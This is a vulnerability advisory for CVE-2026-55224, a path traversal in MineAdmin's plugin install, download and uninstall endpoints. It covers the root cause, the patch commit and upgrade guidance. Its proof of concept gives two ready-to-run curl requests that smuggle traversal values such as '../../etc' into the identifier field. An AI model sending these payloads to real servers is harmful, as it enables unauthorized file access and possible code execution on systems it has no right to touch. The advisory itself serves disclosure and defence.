highCVE-2026-55224Aug 18, 2026

CVE-2026-55224: MineAdmin Path Traversal in Plugin Install/Uninstall

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

MineAdmin's app-store plugin service accepts unsanitized directory names from users and plugs them straight into file-system paths, letting any authenticated user read, install, or uninstall content…

Packagemineadmin/mineadmin
Ecosystemcomposer
Affected< 3.2.0-alpha.2
Fixed in3.2.0-alpha.2
CVE-2026-55224: MineAdmin Path Traversal in Plugin Install/Uninstall

The problem

The app-store service in MineAdmin (all versions before 3.2.0-alpha.2) concatenates the user-supplied identifier field directly into file-system paths without any sanitization. This affects three operations: download(), install(), and unInstall() in plugin/mine-admin/app-store/src/Service/Service.php.

The controller at admin/plugin/store was protected only by AccessTokenMiddleware, not by PermissionMiddleware. Any authenticated user, regardless of role, could reach these endpoints and supply a traversal string like ../app to escape the /plugin/ directory.

Combined with Plugin::install(), this can trigger composer commands on arbitrary server directories, potentially leading to code execution.

Proof of concept

A working proof-of-concept for CVE-2026-55224 in mineadmin/mineadmin, with the exact payload below.

bash
# Trigger install() on BASE_PATH/app instead of BASE_PATH/plugin/my-plugin
curl -X POST "http://localhost:9501/admin/plugin/store/install" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../app", "version": "1.0.0"}'

# Probe arbitrary path existence via download() (resolves to BASE_PATH/plugin/../../etc)
curl -X POST "http://localhost:9501/admin/plugin/store/download" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../../etc", "version": "1.0.0"}'

The root cause is a missing input-validation step before string concatenation: BASE_PATH . '/plugin/' . $params['identifier'] is evaluated as-is, so ../app resolves to BASE_PATH/app and ../../etc resolves outside the web root entirely. This is a textbook CWE-22 (Path Traversal) sink.

The patch (commit ca41902) added an identifier validation check that rejects values containing path-traversal sequences, plus a debug-mode gate and proper permission middleware on the controller, so only authorized admin roles in production can reach these endpoints at all.

The advisory recommends basename() or a strict allowlist regex such as ^[a-zA-Z0-9_-]+$ as the sanitization approach.

The fix

Upgrade to mineadmin/mineadmin 3.2.0-alpha.2 or later. The patch (commit ca41902a2a5422676227e5088f4cc1dec06044f1) validates the identifier parameter to reject path-traversal sequences and adds PermissionMiddleware to the app-store controller so only properly authorized users can invoke plugin operations.

Reporter not attributed.

References: [1][2][3][4]

Related research